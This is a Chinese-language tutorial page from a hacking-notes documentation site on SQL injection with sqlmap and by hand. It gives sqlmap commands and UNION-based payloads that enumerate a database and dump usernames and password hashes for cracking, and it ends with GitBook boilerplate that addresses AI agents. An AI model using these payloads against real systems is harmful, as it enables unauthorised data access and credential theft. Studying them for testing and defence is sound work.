> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md).
# 使用 SQLMap 和手动测试进行 SQL 注入
{% hint style="info" %}
一个 **SQL 注入** 是 Web 应用程序中的一种安全漏洞，当恶意 SQL 查询被插入到输入字段中以操纵底层数据库时就会发生。这使攻击者能够访问、修改或筛选未授权数据。像 SQLMap 这样的工具通过识别并利用此类漏洞来自动化这一过程，以自动化方式执行 SQL 注入。或者，攻击者也可以通过直接操纵条目手动进行 SQL 注入攻击，从而未经授权访问数据库。
{% endhint %}
## 自动化 SQL 注入（SQLMap）
1. 让我们使用 Burp Suite 拦截一个搜索请求：
2. 让我们将这个请求保存到一个文件中，我们将其命名为 **request.req**:
3. 该文件包含以下 **内容**:
4. 通过 **SQLMap** 工具，让我们运行以下命令来查看这个网站是否 **有漏洞的** 对一个 **SQL 攻击**:
```bash
sqlmap -r request.req -p searchitem --batch
```
5. 使用此命令，让我们列出所有 **数据库**:
```bash
sqlmap -r request.req -p searchitem --batch --dbs
```
6. 使用此命令，让我们列出所有 **表** 某个特定数据库的：
```bash
sqlmap -r request.req -p searchitem --batch -D "database_name" --tables
```
7. 使用此命令，让我们列出所有 **列** 某个特定表的：
```bash
sqlmap -r request.req -p searchitem --batch -T "table_name" --columns
```
8. 使用此命令，让我们查看 **内容** 列的内容：
```bash
sqlmap -r request.req -p searchitem --batch -T users -C username,password --dump
```
*如果该工具找到加密的密码，它会自动将其解密*:
***
## 手动 SQL 注入
1. 让我们使用 Burp Suite 拦截一个搜索请求：
2. 将此请求发送到 **重放器**:
3. 在 **searchitem** 搜索字段，添加以下内容：
```bash
test' order by 100-- -
```
4. Web 服务器告诉我们有 **没有那么多列**:
5. 让我们尝试 **直到没有剩余为止** （在这种情况下，有 5 列）：
6. 我们现在知道 **有 5 列**，现在使用 **union** 函数，我们将 **查看** 它们：
```arduino
test' union select 1,2,3,4,5-- -
```
* 如果 **更改名称** 例如第三列的“test”，它 **也会改变**:
7. 这意味着如果我们输入 **database()** 或 **user()** 函数， **数据库名称** 或 **运行该数据库的用户名** 将显示出来：
**以下是手动列出信息的步骤：**
1. 让我们列出所有 **数据库**:
```bash
test' union select 1,2,schema_name,4,5 from information_schema.schemata-- -
```
2. 让我们列出所有 **表** 某个特定数据库的：
```rust
test' union select 1,2,table_name,4,5 from information_schema.tables where table_schema='database_name'-- -
```
3. 让我们列出所有 **列** 某个特定表的：
```rust
test' union select 1,2,column_name,4,5 from information_schema.columns where table_schema='database_name' and table_name='table_name'-- -
```
4. 让我们查看 **用户名和密码列的内容** （在这种情况下，我们使用“产品名称”和“产品类型”列）：
```arduino
test' union select 1,username,password,4,5 from users-- -
```
* 让我们列出 **用户名和密码列的内容** 再次：
```scss
test' union select 1,2,group_concat(username,0x3a,password),4,5 from users-- -
```
5. **让我们复制内容** 到 Burp Suite 的 Pretty 部分：
6. 让我们打开 **Nvim** 文本编辑器，粘贴复制的文本，然后使用此命令将其正确格式化： `:%s/,//r/g`
7. 使用此命令，让我们只保留哈希并将它们复制到 **剪贴板**: `cat data | awk '{print $2}' FS=":" | xclip -sel clip`
8. 最后，使用 [Hashes.com](https://hashes.com/en/decrypt/hash) 网站，获取以下密码的 **明文**:
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/hacking-tools/web/sqlmap/sql-injection-sqlmap-and-manual-testing.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.